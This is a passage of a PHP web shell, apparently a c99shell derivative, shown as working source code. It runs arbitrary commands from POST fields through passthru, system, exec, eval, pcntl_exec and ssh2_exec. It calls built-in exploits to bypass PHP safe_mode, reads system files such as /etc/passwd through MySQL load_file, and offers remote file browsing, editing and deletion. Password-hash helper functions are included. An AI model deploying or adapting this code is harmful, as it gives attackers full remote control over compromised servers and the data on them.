  532.    echo "<tr><td>Name</td><td>Type</td><td>Size</td><td>Inode Changed<br>File Modified<br>File Accessed</td><td>Owner<br>Group</td><td>Chmod</td><td>Action</td></tr>";
    533. 

  533.    for($i=0;$i<count($dire);$i++) {
    534. 

  534.     $link=$dir.$dire[$i];
    535. 

  535.     echo '<tr><td><a href="#" onclick="document.reqs.action.value=\'viewer\'; document.reqs.dir.value=\''.$link.'\'; document.reqs.submit();">'.$dire[$i].'<a/></td><td>Dir</td><td>'.view_size(dirsize($link)).'</td><td><font size="-1">'.date("d/m/Y H:i:s",filectime($link)).'<br>'.date("d/m/Y H:i:s",filemtime($link)).'<br>'.date("d/m/Y H:i:s",fileatime($link)).'</font></td><td>'.owner($link).'</td><td>'.substr(sprintf('%o',fileperms($link)), -4).' <br>('.view_perms_color($link,"string").')</td><td><a href="#" onclick="document.reqs.action.value=\'deletedir\'; document.reqs.dir.value=\''.$dir.'\'; document.reqs.file.value=\''.$link.'\'; document.reqs.submit();" title="Delete">x</a> <a href="#" onclick="document.reqs.action.value=\'chmod\'; document.reqs.file.value=\''.$link.'\'; document.reqs.submit();" title="Chmod">C</a> <a href="#" onclick="document.reqs.action.value=\'touch\'; document.reqs.file.value=\''.$link.'\'; document.reqs.submit();" title="Touch">T</a></td></tr>';
    536. 

  536.    }
    537. 

  537.    for($i=0;$i<count($files);$i++) {
    538. 

  538.     $linkfile=$dir.$files[$i];
    539. 

  539.     echo '<tr><td><a href="#" onclick="document.editor.filee.value=\''.$linkfile.'\'; document.editor.files.value=\''.$linkfile.'\'; document.editor.submit();">'.$files[$i].'</a>';
    540. 

  540.     echo '<br></td><td>File</td><td>'.view_size(filesize($linkfile)).'</td><td><font size="-1">'.date("d/m/Y H:i:s",filectime($linkfile)).'<br>'.date("d/m/Y H:i:s",filemtime($linkfile)).'<br>'.date("d/m/Y H:i:s",fileatime($linkfile)).'</font></td><td>'.owner($linkfile).'</td><td>'.substr(sprintf('%o',fileperms($linkfile)), -4).' <br>('.view_perms_color($linkfile,"string").')</td><td> <a href="#" onclick="document.reqs.action.value=\'download\'; document.reqs.file.value=\''.$linkfile.'\'; document.reqs.submit();" title="Download">D</a> <a href="#" onclick="document.editor.filee.value=\''.$linkfile.'\'; document.editor.files.value=\''.$linkfile.'\'; document.editor.submit();" title="Edit">E</a> <a href="#" onclick="document.reqs.action.value=\'delete\'; document.reqs.file.value=\''.$linkfile.'\';document.reqs.dir.value=\''.$dir.'\'; document.reqs.submit();" title="Delete">x</a> <a href="#" onclick="document.reqs.action.value=\'chmod\'; document.reqs.file.value=\''.$linkfile.'\';document.reqs.dir.value=\''.$dir.'\'; document.reqs.submit();" title="Chmod">C</a> <a href="#" onclick="document.reqs.action.value=\'touch\'; document.reqs.file.value=\''.$linkfile.'\';document.reqs.dir.value=\''.$dir.'\'; document.reqs.submit();" title="Touch">T</a></td></tr></tr>'; 
    541. 

  541.    }
    542. 

  542.    echo "</table>";
    543. 

  543.   }
    544. 

  544.  }
    545. 

  545. }
    546. 

  546. // --------------------------------------------- crypt functions by Eugen
    547. 

  547. function entityenc($str) {
    548. 

  548.  $text_array=explode("\r\n", chunk_split($str, 1));
    549. 

  549.  for ($n=0; $n < count($text_array) - 1; $n++) {
    550. 

  550.   $newstring .= "&#" . ord($text_array[$n]) . ";";
    551. 

  551.  }
    552. 

  552.  return $newstring;
    553. 

  553. }
    554. 

  554. function entitydec($str) {
    555. 

  555.  $str=str_replace(';', '; ', $str);
    556. 

  556.  $text_array=explode(' ', $str);
    557. 

  557.  for ($n=0; $n < count($text_array) - 1; $n++) {
    558. 

  558.   $newstring .= chr(substr($text_array[$n], 2, 3));
    559. 

  559.  }
    560. 

  560.  return $newstring;
    561. 

  561. }
    562. 

  562. function asc2hex($str) {
    563. 

  563.  return chunk_split(bin2hex($str), 2, " ");
    564. 

  564. }
    565. 

  565. function hex2asc($str) {
    566. 

  566.  $str=str_replace(" ", "", $str);
    567. 

  567.  for ($n=0; $n<strlen($str); $n+=2) {
    568. 

  568.   $newstring .=  pack("C", hexdec(substr($str, $n, 2)));
    569. 

  569.  }
    570. 

  570.  return $newstring;
    571. 

  571. }
    572. 

  572. // --------------------------------------------- crypt functions by smartman
    573. 

  573. $itoa64 = './0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz';
    574. 

  574. function to64as($input,$count) {
    575. 

  575.  global $itoa64;
    576. 

  576.  $output = '';
    577. 

  577.  $i = 0;
    578. 

  578.  while ($i < $count) {
    579. 

  579.   $value = ord($input[$i]);
    580. 

  580.   ++$i;
    581. 

  581.   $output .= $itoa64{$value & 0x3f};
    582. 

  582.   if ($i < $count) $value |= (ord($input[$i]) << 8);
    583. 

  583.   $output .= $itoa64{($value>>6) & 0x3f};
    584. 

  584.   ++$i;
    585. 

  585.   if ($i >= $count) break;
    586. 

  586.   if ($i < $count) $value |= (ord($input[$i]) << 16);
    587. 

  587.   $output .= $itoa64{($value>>12) & 0x3f};
    588. 

  588.   ++$i;
    589. 

  589.   if ($i >= $count) break;
    590. 

  590.   $output .= $itoa64{($value>>18) & 0x3f};
    591. 

  591.  }
    592. 

  592.  return $output;
    593. 

  593. }
    594. 

  594. function to64na($value,$num) {
    595. 

  595.  global $itoa64;
    596. 

  596.  $output = '';
    597. 

  597.  while ($num-1 >= 0) {
    598. 

  598.   --$num;
    599. 

  599.   $output .= $itoa64{$value & 0x3f};
    600. 

  600.   $value >>= 6;
    601. 

  601.  }
    602. 

  602.  return $output;
    603. 

  603. }
    604. 

  604. function unap($pwd,$salt,$magic='$1$') {
    605. 

  605.  if (substr($salt,0,strlen($magic)) == $magic) $salt = substr($salt,strlen($magic));
    606. 

  606.  $salt = explode('$',$salt,1);
    607. 

  607.  $salt = substr($salt[0],0,8);
    608. 

  608.  $ctx = $pwd.$magic.$salt;
    609. 

  609.  $final = md5($pwd.$salt.$pwd,true);
    610. 

  610.  for ($pl=strlen($pwd);$pl>=0;$pl-=16) {
    611. 

  611.   $ctx .= substr($final,0,($pl>16?16:$pl));
    612. 

  612.  }
    613. 

  613.  $i = strlen($pwd);
    614. 

  614.  while ($i) {
    615. 

  615.   $ctx .= ($i&1?chr(0):$pwd{0});
    616. 

  616.   $i >>= 1;
    617. 

  617.  }
    618. 

  618.  $final = md5($ctx,true);
    619. 

  619.  for ($i=0;$i<1000;++$i) {
    620. 

  620.   $ctx1 = '';
    621. 

  621.   $ctx1 .= ($i&1?$pwd:substr($final,0,16));
    622. 

  622.   if ($i % 3) $ctx1 .= $salt;
    623. 

  623.   if ($i % 7) $ctx1 .= $pwd;
    624. 

  624.   $ctx1 .= ($i&1?substr($final,0,16):$pwd);
    625. 

  625.   $final = md5($ctx1,true);
    626. 

  626.  }
    627. 

  627.  $passwd = '';
    628. 

  628.  $passwd .= to64na(((int)ord($final{0}) << 16)|((int)ord($final{6}) << 8)|((int)ord($final{12})),4);
    629. 

  629.  $passwd .= to64na(((int)ord($final{1}) << 16)|((int)ord($final{7}) << 8)|((int)ord($final{13})),4);
    630. 

  630.  $passwd .= to64na(((int)ord($final{2}) << 16)|((int)ord($final{8}) << 8)|((int)ord($final{14})),4);
    631. 

  631.  $passwd .= to64na(((int)ord($final{3}) << 16)|((int)ord($final{9}) << 8)|((int)ord($final{15})),4);
    632. 

  632.  $passwd .= to64na(((int)ord($final{4}) << 16)|((int)ord($final{10}) << 8)|((int)ord($final{5})),4);
    633. 

  633.  $passwd .= to64na(((int)ord($final{11})),2);
    634. 

  634.  return $magic.$salt.'$'.$passwd;
    635. 

  635. }
    636. 

  636. function phpass($pwd,$salt,$count,$prefix) {
    637. 

  637.  $hash = md5($salt.$pwd,true);
    638. 

  638.  for ($i=0;$i<$count;++$i) {
    639. 

  639.   $hash = md5($hash.$pwd,true);
    640. 

  640.  }
    641. 

  641.  return $prefix.substr($salt,0,8).to64as($hash,16);
    642. 

  642. }
    643. 

  643. function genSalt($salt,$length=8,$dot=0) {
    644. 

  644.  if (strlen($salt)>=$length) return substr($salt,0,$length);
    645. 

  645.  global $itoa64;
    646. 

  646.  if (!$dot) { $alphabet=substr($itoa64,2); } else { $alphabet=$itoa64; }
    647. 

  647.  $output='';
    648. 

  648.  for ($i=0;$i<$length;++$i) $output.=$alphabet{mt_rand(0,strlen($alphabet)-1)};
    649. 

  649.  return $output;
    650. 

  650. }
    651. 

  651. function mysql4($pwd) {
    652. 

  652.  $nr = 0x50305735;
    653. 

  653.  $nr2 = 0x12345671;
    654. 

  654.  $add = 7;
    655. 

  655.  $charArr = str_split($pwd);
    656. 

  656.  foreach ($charArr as $char) {
    657. 

  657.   if (in_array($char,array(' ','\n'))) continue;
    658. 

  658.   $charVal = ord($char);
    659. 

  659.   $nr ^= ((($nr & 63)+$add) * $charVal)+($nr << 8);
    660. 

  660.   $nr &= 0x7fffffff;
    661. 

  661.   $nr2 += ($nr2 << 8) ^ $nr;
    662. 

  662.   $nr2 &= 0x7fffffff;
    663. 

  663.   $add += $charVal;
    664. 

  664.  }
    665. 

  665.  return sprintf('%08x%08x',$nr,$nr2);
    666. 

  666. }
    667. 

  667. // --------------------------------------------- main code 
    668. 

  668. if (!isset($_REQUEST['p'])) { $_REQUEST['p']="s"; }
    669. 

  669. switch ($_REQUEST['p']) {
    670. 

  670.  case "s":
    671. 

  671.   if (empty($_POST["wut"]) and $download != "1") {
    672. 

  672.    echo $title;
    673. 

  673.    sploent516();
    674. 

  674.    if (ini_get("safe_mode")) {
    675. 

  675.     $failflag="1";
    676. 

  676.    }
    677. 

  677.    $shelltext=("uname -a");
    678. 

  678.    echo '<form method="post" action="'.$_SERVER['PHP_SELF'].'">
    679. 

  679.   <font color="green"> haxor@pwnedbox$ </font><textarea name="command" rows="1" cols="50" onkeyup="changeSize(this)">'.$shelltext.'</textarea> <input type="submit" value="go"> <input name="p" type="hidden" value="s"><input type="checkbox" name="down"> download <br><br>';
    680. 

  680.    if ($failflag=="1") {
    681. 

  681.     echo "all system functions are disabled :( <font color=\"gray\"> but you could try a CGI/SSI shell ;) and still there is<br></font>"; } else {
    682. 

  682.     if (function_enabled('passthru')) {
    683. 

  683.      echo 'passthru <input name="wut" value="passthru" type="radio" checked><br>';
    684. 

  684.     } else { echo 'passthru is disabled!<br>';}
    685. 

  685.     if (function_enabled('system')) {
    686. 

  686.      echo 'system <input name="wut" value="system" type="radio"><br>';
    687. 

  687.     } else { echo 'system is disabled!<br>';}
    688. 

  688.     if (function_enabled('exec')) {
    689. 

  689.      echo 'exec <input name="wut" value="exec" type="radio"><br>';
    690. 

  690.     } else { echo 'exec is disabled!<br>';}
    691. 

  691.     if (function_enabled('shell_exec')) {
    692. 

  692.      echo 'shell_exec <input name="wut" value="shell_exec" type="radio"><br>';
    693. 

  693.     } else { echo 'shell_exec is disabled!<br>';}
    694. 

  694.     if (function_enabled('popen')) {
    695. 

  695.      echo 'popen <input name="wut" value="popen" type="radio"><br>';
    696. 

  696.     } else { echo 'popen is disabled!<br>';}
    697. 

  697.     if (function_enabled('proc_open')) {
    698. 

  698.      echo 'proc_open <input name="wut" value="proc_open" type="radio"><br>';
    699. 

  699.     } else { echo 'proc_open is disabled!<br>';} 
    700. 

  700.    }
    701. 

  701.    // eval almost always enabled, except there is special option in suhosin-patched php 
    702. 

  702.    echo 'php eval() <input name="wut" value="eval" type="radio"><br>';
    703. 

  703.    echo '</form>';
    704. 

  704.    echo "<br>pcntl_exec:";
    705. 

  705.    //determining if pcntl enabled is kinda tricky. debug: add if(dl('pcntl.so')) or check var_dump(get_extension_funcs('pcntl')) ?
    706. 

  706.    if (extension_loaded('pcntl')) {
    707. 

  707.     if (function_enabled('pcntl_fork')) {
    708. 

  708.      if (function_enabled('pcntl_exec')) {
    709. 

  709.       echo '<form method="post" action="'.$_SERVER['PHP_SELF'].'"><font color="gray"> interpreter <input name="inter" type="text" size="10" value="/bin/sh"></font> <br><font color="green"> haxor@pwnedbox$ </font><input name="p" type="hidden" value="s"><input name="command" type="text" size="40" value="'.$shelltext.'"> &gt;<input type="radio" name="to" value=">" checked> &gt;&gt;<input type="radio" name="to" value=">>"> <input name="pcfile" type="text" size="20" value="./rezult.html"> ';
    710. 

  710.       if (is_writable("./")) {
    711. 

  711.        echo "<font color=\"green\">(./ writable)</font>";
    712. 

  712.       } else {
    713. 

  713.        echo "<font color=\"red\">(./ readonly)</font>";
    714. 

  714.       }
    715. 

  715.       echo '<br><font color="gray">delete result file after showing contents</font><input type="checkbox" name="delrezult" checked><input type="submit" value="go"> <input type="checkbox" name="down"> download  <input name="wut" type="hidden" value="pcntl"></form>';
    716. 

  716.      } else {
    717. 

  717.       echo "<br>pcntl_exec is disabled!<br>";
    718. 

  718.      }
    719. 

  719.     } else {
    720. 

  720.      echo "<br>pcntl_fork is disabled!<br>";
    721. 

  721.     }
    722. 

  722.    } else {
    723. 

  723.     echo "<br>fail, no pcntl.so here<br>";
    724. 

  724.    }
    725. 

  725.    echo "<br>ssh2_exec:";
    726. 

  726.    if (extension_loaded('ssh2')) {
    727. 

  727.     if (function_enabled('ssh2_connect')) {
    728. 

  728.      if (function_enabled('ssh2_exec')) {
    729. 

  729.       if ($download != "1") {
    730. 

  730.        if (empty($_POST["wut"])) {
    731. 

  731.         echo '<form method="post" action="'.$_SERVER['PHP_SELF'].'"> <font color="gray">host: <input name="ssh2host" type="text" size="20" value="localhost"> port: <input name="ssh2port" type="text" size="5" maxlength="5" value="22"> user: <input name="ssh2user" type="text" size="20" value="h4x0r"> password: <input name="ssh2pass" type="text" size="20" value="r0xx0r"> </font><br><font color="green"> haxor@pwnedbox$ </font><input name="command" type="text" size="40" value="uname -a"> <input type="submit" value="go"><input name="p" type="hidden" value="s"> <input type="checkbox" name="down"> download  <input name="wut" type="hidden" value="ssh2"></form>';
    732. 

  732.        }
    733. 

  733.       }
    734. 

  734.      } else {
    735. 

  735.       echo "<br>ssh2_exec is disabled!";
    736. 

  736.      }
    737. 

  737.     } else {
    738. 

  738.      echo "<br>ssh2_connect is disabled!";
    739. 

  739.     }
    740. 

  740.    } else {
    741. 

  741.     echo "<br>fail, no ssh2.so here";
    742. 

  742.    }
    743. 

  743.    echo $pageend;
    744. 

  744.   } else {
    745. 

  745.    if ($download != "1") {
    746. 

  746.     echo $title;
    747. 

  747.    }
    748. 

  748.    $shelltext=$_POST["command"];
    749. 

  749.    $html='<form method="post" action="'.$_SERVER['PHP_SELF'].'"><font color="green"> haxor@pwnedbox$ </font><input name="p" type="hidden" value="s">';
    750. 

  750.    $input='<textarea name="command" rows="1" cols="50" onkeyup="changeSize(this)">'.$shelltext.'</textarea> 2>&1 <input type="submit" value="Enter"> <input type="checkbox" name="down"> download <input name="wut" type="hidden" value="';
    751. 

  751.    if ($download != "1") {
    752. 

  752.    switch ($_POST["wut"]) {
    753. 

  753.     case "passthru":
    754. 

  754.      if (strnatcmp(version(),"5.2.9") <= 0) {
    755. 

  755.       sploent516();
    756. 

  756.      }
    757. 

  757.      echo "$html"; echo "$input"; echo 'passthru"></form>';
    758. 

  758.      break;
    759. 

  759.     case "system":
    760. 

  760.      if (strnatcmp(version(),"5.2.9") <= 0) {
    761. 

  761.       sploent516();
    762. 

  762.      }
    763. 

  763.      echo "$html"; echo "$input"; echo 'system"></form>';
    764. 

  764.      break;
    765. 

  765.     case "exec":
    766. 

  766.      if (strnatcmp(version(),"5.2.9") <= 0) {
    767. 

  767.       sploent516();
    768. 

  768.      }
    769. 

  769.      echo "$html"; echo "$input"; echo 'exec"></form>';
    770. 

  770.      break;
    771. 

  771.     case "shell_exec":
    772. 

  772.      if (strnatcmp(version(),"5.2.9") <= 0) {
    773. 

  773.       sploent516();
    774. 

  774.      }
    775. 

  775.      echo "$html"; echo "$input"; echo 'shell_exec"></form>';
    776. 

  776.      break;
    777. 

  777.     case "popen":
    778. 

  778.      if (strnatcmp(version(),"5.2.9") <= 0) {
    779. 

  779.       sploent516();
    780. 

  780.      }
    781. 

  781.      echo "$html"; echo "$input"; echo 'popen"></form>';
    782. 

  782.      break;
    783. 

  783.     case "proc_open":
    784. 

  784.      if (strnatcmp(version(),"5.2.9") <= 0) {
    785. 

  785.       sploent516();
    786. 

  786.      }
    787. 

  787.      echo "$html"; echo "$input"; echo 'proc_open"></form>';
    788. 

  788.      break;
    789. 

  789.     case "eval":
    790. 

  790.      if (strnatcmp(version(),"5.2.9") <= 0) {
    791. 

  791.       sploent516();
    792. 

  792.      }
    793. 

  793.      echo "$html"; echo 'php -r \''; echo '<textarea name="command" rows="1" cols="50" onkeyup="changeSize(this)">'.$shelltext.'</textarea> \' <input type="submit" value="Enter">
    794. 

  794.      <input name="wut" value="eval" type="hidden"></form>';
    795. 

  795.      break;
    796. 

  796.     case "pcntl":
    797. 

  797.      //sploent516 not needed coz pcntl bypasses safe_mode
    798. 

  798.      echo '<form method="post" action="'.$_SERVER['PHP_SELF'].'"><font color="gray"> interpreter <input name="inter" type="text" size="10" value="/bin/sh"></font> <br><font color="green"> haxor@pwnedbox$ </font><input name="p" type="hidden" value="s"><input name="command" type="text" size="40" value="'.$shelltext.'"> &gt;<input type="radio" name="to" value=">" checked> &gt;&gt;<input type="radio" name="to" value=">>"> <input name="pcfile" type="text" size="20" value="'.$_POST["pcfile"].'">';
    799. 

  799.      if (is_writable("./")) {
    800. 

  800.       echo "<font color=\"green\">(./ writable)</font>";
    801. 

  801.      } else {
    802. 

  802.       echo "<font color=\"red\">(./ readonly)</font>";
    803. 

  803.      }
    804. 

  804.      echo ' <br><font color="gray">delete result file after showing contents</font><input type="checkbox" name="delrezult" checked><input type="submit" value="go"> <input type="checkbox" name="down"> download  <input name="wut" type="hidden" value="pcntl"></form>';
    805. 

  805.      break;
    806. 

  806.     case "ssh2":
    807. 

  807.      echo '<form method="post" action="'.$_SERVER['PHP_SELF'].'"><font color="gray"> host: <input name="ssh2host" type="text" size="20" value="'.$_POST["ssh2host"].'"> port: <input name="ssh2port" type="text" size="5" maxlength="5" value="'.$_POST["ssh2port"].'"> user: <input name="ssh2user" type="text" size="20" value="'.$_POST["ssh2user"].'"> password: <input name="ssh2pass" type="text" size="20" value="'.$_POST["ssh2pass"].'"> </font><br><font color="green"> haxor@pwnedbox$ </font> <input name="command" type="text" size="40" value="'.$shelltext.'"> <input type="submit" value="go"><input name="p" type="hidden" value="s"> <input type="checkbox" name="down"> download  <input name="wut" type="hidden" value="ssh2"></form>';
    808. 

  808.      break;
    809. 

  809.    }
    810. 

  810.    }
    811. 

  811.   }
    812. 

  812.   if (!empty($_POST["wut"])) {
    813. 

  813.    if ($download != "1") {
    814. 

  814.     echo "<textarea cols=\"80\" rows=\"40\">";
    815. 

  815.    }
    816. 

  816.    switch ($_POST["wut"]) {
    817. 

  817.     case "passthru":
    818. 

  818.      passthru($_POST["command"]." 2>&1");
    819. 

  819.      break;
    820. 

  820.     case "system":
    821. 

  821.      system($_POST["command"]." 2>&1");
    822. 

  822.      break;
    823. 

  823.     case "exec":
    824. 

  824.      exec($_POST["command"]." 2>&1",$out);
    825. 

  825.      echo join("\n",$out);
    826. 

  826.      break;
    827. 

  827.     case "shell_exec":
    828. 

  828.      $out=shell_exec($_POST["command"]." 2>&1");
    829. 

  829.      echo "$out";
    830. 

  830.      break;
    831. 

  831.     case "popen":
    832. 

  832.      $hndl=popen($_POST["command"]." 2>&1", "r");
    833. 

  833.      $read=stream_get_contents($hndl);
    834. 

  834.      echo $read;
    835. 

  835.      pclose($hndl);
    836. 

  836.      break;
    837. 

  837.     case "proc_open":
    838. 

  838.      $process = proc_open('/bin/sh', $descriptorspec, $pipes);
    839. 

  839.      if (is_resource($process)) {
    840. 

  840.       fwrite($pipes[0],$_POST["command"]);
    841. 

  841.       fclose($pipes[0]);
    842. 

  842.       echo stream_get_contents($pipes[1]);
    843. 

  843.       fclose($pipes[1]);
    844. 

  844.       echo stream_get_contents($pipes[2]);
    845. 

  845.       fclose($pipes[2]);
    846. 

  846.       @proc_close($process);
    847. 

  847.      }
    848. 

  848.      break;
    849. 

  849.     case "pcntl":
    850. 

  850.      $shelltext=$_POST["command"];
    851. 

  851.      switch (pcntl_fork()) {
    852. 

  852.       case 0:
    853. 

  853.        pcntl_exec($_POST["inter"],array("-c","".$_POST["command"]." ".$_POST["to"]." ".$_POST["pcfile"]));
    854. 

  854.        exit(0);
    855. 

  855.       default:
    856. 

  856.        break;
    857. 

  857.      }
    858. 

  858.      sleep(1);
    859. 

  859.      $fh=fopen("".$_POST["pcfile"]."","r");
    860. 

  860.      if (!$fh) { echo "can`t fopen ".$_POST["pcfile"].", seems that we failed :("; }
    861. 

  861.      else {
    862. 

  862.       $rezult=fread($fh,filesize($_POST["pcfile"]));
    863. 

  863.       fclose($fh);
    864. 

  864.       echo $rezult;
    865. 

  865.       if ($_POST["delrezult"] == "on") { unlink($_POST["pcfile"]); }
    866. 

  866.      }
    867. 

  867.      break;
    868. 

  868.     case "eval":
    869. 

  869.      eval($_POST["command"]);
    870. 

  870.      break;
    871. 

  871.     case "ssh2":
    872. 

  872.      $connection=ssh2_connect($_POST["ssh2host"], $_POST["ssh2port"]) or die ("cant connect. host/port wrong?");
    873. 

  873.      //using knowingly wrong username to test auth. methods
    874. 

  874.      $auth_methods = ssh2_auth_none($connection, '12309tezt');
    875. 

  875.      if (in_array('password', $auth_methods)) {
    876. 

  876.       $connection=ssh2_connect($_POST["ssh2host"], $_POST["ssh2port"]) or die ("cant connect. host/port wrong?"); //need to connect again after failed login
    877. 

  877.       if (ssh2_auth_password($connection, ''.$_POST["ssh2user"].'', ''.$_POST["ssh2pass"].'')) {
    878. 

  878.        $stream=ssh2_exec($connection, $shelltext); 
    879. 

  879.        stream_set_blocking($stream, true);
    880. 

  880.        $data = "";
    881. 

  881.        while ($buf = fread($stream,4096)) {
    882. 

  882.         $data .= $buf;
    883. 

  883.        }
    884. 

  884.        fclose($stream);
    885. 

  885.        echo $data;
    886. 

  886.       } else {
    887. 

  887.        echo "cant login. user/pass wrong?";
    888. 

  888.       }
    889. 

  889.      } else {
    890. 

  890.       echo 'fail, no "password" auth method';
    891. 

  891.      }     
    892. 

  892.      break;
    893. 

  893.    }
    894. 

  894.    if ($download != "1") {
    895. 

  895.     echo "</textarea>";
    896. 

  896.    }
    897. 

  897.   }
    898. 

  898.  break; 
    899. 

  899. // --------------------------------------------- shell end; file operations
    900. 

  900.  case "f":
    901. 

  901.   if ($download != "1") {
    902. 

  902.    echo $title;
    903. 

  903.    echo "<font color=\"gray\">";
    904. 

  904.    echo "current dir: ".getcwd()."<br>";
    905. 

  905.    sploent516();
    906. 

  906.    echo "<br>--------------------------------<br></font>";
    907. 

  907.   }
    908. 

  908.   if (empty($_POST["filer"]) and $download != "1" and empty($_POST["edt"]) and empty($_POST["sqlr"]) and empty($_POST["sqlu"]) and empty($_POST["upload"])) {
    909. 

  909.   echo '<a href="#" onclick="showTooltip(7)" id="link"> &gt;&gt; read/upload/edit file &lt;&lt; </a><br><br>
    910. 

  910.   <div id="7" style="display: none">';
    911. 

  911.    $ololotext="/home/USER/public_html/DOMAIN/index.php";
    912. 

  912.    echo '<font color="blue">---> read file </font><br>';
    913. 

  913.    echo "php file_get_contents:<br>";
    914. 

  914.    echo '<form method="post" action="'.$_SERVER['PHP_SELF'].'"><font color="green"> haxor@pwnedbox$</font> cat <input name="filename" type="text" maxlength="500" size="50" value="'.$ololotext.'">
    915. 

  915.    <input name="filer" type="hidden" value="php"><input type="submit" value="Enter"><input name="p" type="hidden" value="f"> <input type="checkbox" name="down"> download </form>';
    916. 

  916.    //curl
    917. 

  917.    if (strnatcmp(version(),"5.2.9") <= 0) {
    918. 

  918.     echo "<br> curl exploit: <br>";
    919. 

  919.     if (!extension_loaded('curl')) {
    920. 

  920.      echo "&nbsp;&nbsp;fail, curl is required<br>";
    921. 

  921.     } else {
    922. 

  922.      echo '<form method="post" action="'.$_SERVER['PHP_SELF'].'"><font color="green"> haxor@pwnedbox$</font> cat <input name="filename" type="text" maxlength="500" size="50" value="'.$ololotext.'">
    923. 

  923.      <input name="filer" type="hidden" value="curl"><input type="submit" value="Enter"><input name="p" type="hidden" value="f"> <input type="checkbox" name="down"> download </form>';
    924. 

  924.     }
    925. 

  925.    }
    926. 

  926.   } else {
    927. 

  927.    switch ($_POST["filer"]) {
    928. 

  928.     case "php":
    929. 

  929.      $ololotext=($_POST["filename"]);
    930. 

  930.      if ($download != "1") {
    931. 

  931.       echo '<form method="post" action="'.$_SERVER['PHP_SELF'].'"><font color="green">haxor@pwnedbox$ </font>cat
    932. 

  932.       <input name="filename" type="text" maxlength="500" size="50" value="'.$ololotext.'">
    933. 

  933.       <input name="filer" type="hidden" value="php"><input type="submit" value="Enter"><input name="p" type="hidden" value="f"><input type="checkbox" name="down"> download </form>';
    934. 

  934.      }
    935. 

  935.      if (!empty($_POST["filename"])) { 
    936. 

  936.       if ($download != "1") {
    937. 

  937.        echo '<font color="gray">';
    938. 

  938.        echo "<textarea cols=\"80\" rows=\"40\">";
    939. 

  939.       }
    940. 

  940.       $contents=file_get_contents($_POST["filename"]) or die("failed. bad permissions or no such file?".$pageend."");
    941. 

  941.       echo $contents;
    942. 

  942.       if ($download != "1") {
    943. 

  943.        echo "</textarea>";
    944. 

  944.       }
    945. 

  945.       echo $pageend;
    946. 

  946.       die(); 
    947. 

  947.      }
    948. 

  948.      break;  
    949. 

  949.     case "curl":
    950. 

  950.      $ololotext=($_POST["filename"]);
    951. 

  951.      if ($download != "1") {
    952. 

  952.       echo '<form method="post" action="'.$_SERVER['PHP_SELF'].'"><font color="green">haxor@pwnedbox$ </font>cat
    953. 

  953.       <input name="filename" type="text" maxlength="500" size="50" value="'.$ololotext.'">
    954. 

  954.       <input name="filer" type="hidden" value="curl"><input type="submit" value="Enter"><input name="p" type="hidden" value="f"><input type="checkbox" name="down"> download </form>';
    955. 

  955.      }
    956. 

  956.      if (!empty($_POST["filename"])) { 
    957. 

  957.       if ($download != "1") {
    958. 

  958.        echo '<font color="gray">';
    959. 

  959.        echo "<textarea cols=\"80\" rows=\"40\">";
    960. 

  960.       }
    961. 

  961.       sploent529($_POST["filename"]);
    962. 

  962.      }
    963. 

  963.     break;
    964. 

  964.    }
    965. 

  965.   }
    966. 

  966.   // curl + file_get_contents end
    967. 

  967.   if ($download != "1" and empty($_POST["edt"]) and empty($_POST["sqlu"])) {
    968. 

  968.    echo "<br>mysql:<br>";
    969. 

  969.    if (empty($_POST["sqlr"])) {
    970. 

  970.     $user="root";
    971. 

  971.     $pass="12345";
    972. 

  972.     $db="test";
    973. 

  973.     $host="localhost";
    974. 

  974.     $port="3306";
    975. 

  975.     $file="/etc/passwd";
    976. 

  976.    } else {
    977. 

  977.     $user=$_POST['user'];
    978. 

  978.     $pass=$_POST['pass'];
    979. 

  979.     $db=$_POST['db'];
    980. 

  980.     $host=$_POST['host'];
    981. 

  981.     $port=$_POST['port'];
    982. 

  982.     $file=$_POST['file'];
    983. 

  983.    }
    984. 

  984.    echo '<form method="post" action="'.$_SERVER['PHP_SELF'].'">user <input name="user" type="text" maxlength="500" size="10" value="'.$user.'"> password <input name="pass" type="text" maxlength="500" size="10" value="'.$pass.'"> host <input name="host" type="text" maxlength="500" size="10" value="'.$host.'">:<input name="port" type="text" maxlength="5" size="5" value="'.$port.'"> database <input name="db" type="text" maxlength="500" size="10" value="'.$db.'"><font color="gray">(needed for `load data infile`)</font><br><input name="wut" value="load_file" type="radio" checked>load_file<br><input name="wut" value="infile" type="radio">load data infile <font color="gray">(use it for binary files)</font><br><input name="file" type="text" maxlength="500" size="40" value="'.$file.'"> <input type="submit" value="go"><input name="sqlr" type="hidden" value="yup"><br><input name="p" type="hidden" value="f"></form>';
    985. 

  985.    if (!empty($_POST["sqlr"])) {
    986. 

  986.     $link=mysql_connect("".$host.":".$port."",$user,$pass) or die("cant connect: ".mysql_error()."".$pageend."");
    987. 

  987.     switch ($_POST['wut']) {
    988. 

  988.     case "load_file":
    989. 

  989.      $q='SELECT load_file("'.$_POST["file"].'")';
    990. 

  990.      $rez=mysql_query($q,$link) or die("query error:".mysql_error()."".$pageend."");
    991. 

  991.      echo "result:<br>";
    992. 

  992.      echo "<textarea cols=\"80\" rows=\"20\">";
    993. 

  993.      echo mysql_result($rez,0);
    994. 

  994.      echo "</textarea><br>";
    995. 

  995.      echo $pageend;
    996. 

  996.      die();
    997. 

  997.      break;
    998. 

  998.     case "infile":
    999. 

  999.      mysql_select_db($db) or die ("cannot select db: ".mysql_error()."".$pageend."");
    1000. 

  1000.      mysql_query("CREATE TABLE `file` ( `text` LONGBLOB NOT NULL );") or die ("cannot create table: ".mysql_error()."".$pageend.""); 
    1001. 

  1001.      mysql_query("LOAD DATA INFILE \"".$_POST["file"]."\" INTO TABLE file LINES TERMINATED BY '' (`text`)") or die ("cannot load data: ".mysql_error()."".$pageend."");
    1002. 

  1002.      $rez=mysql_query("SELECT * FROM file;");
    1003. 

  1003.      if (!$rez) { echo "fail. permission denied?<br>"; }
    1004. 

  1004.      else {
    1005. 

  1005.       for ($i=0;$i<mysql_num_fields($rez);$i++) {$name = mysql_field_name($rez,$i);}
    1006. 

  1006.       $f = "";
    1007. 

  1007.       while ($row = mysql_fetch_array($rez, MYSQL_ASSOC)) {$f .= join ("\r\n",$row);}
    1008. 

  1008.       if (empty($f)) {
    1009. 

  1009.        echo "file does not exists or empty?<br>";
    1010. 

  1010.       } else {
    1011. 

  1011.        echo "result:<br>";
    1012. 

  1012.        // code from c99shell madnet edition
    1013. 

  1013.        $n = 0;
    1014. 

  1014.        $a0 = "00000000<br>";
    1015. 

  1015.        $a1 = "";
    1016. 

  1016.        $a2 = "";
    1017. 

  1017.        for ($i=0; $i<strlen($f); $i++) {
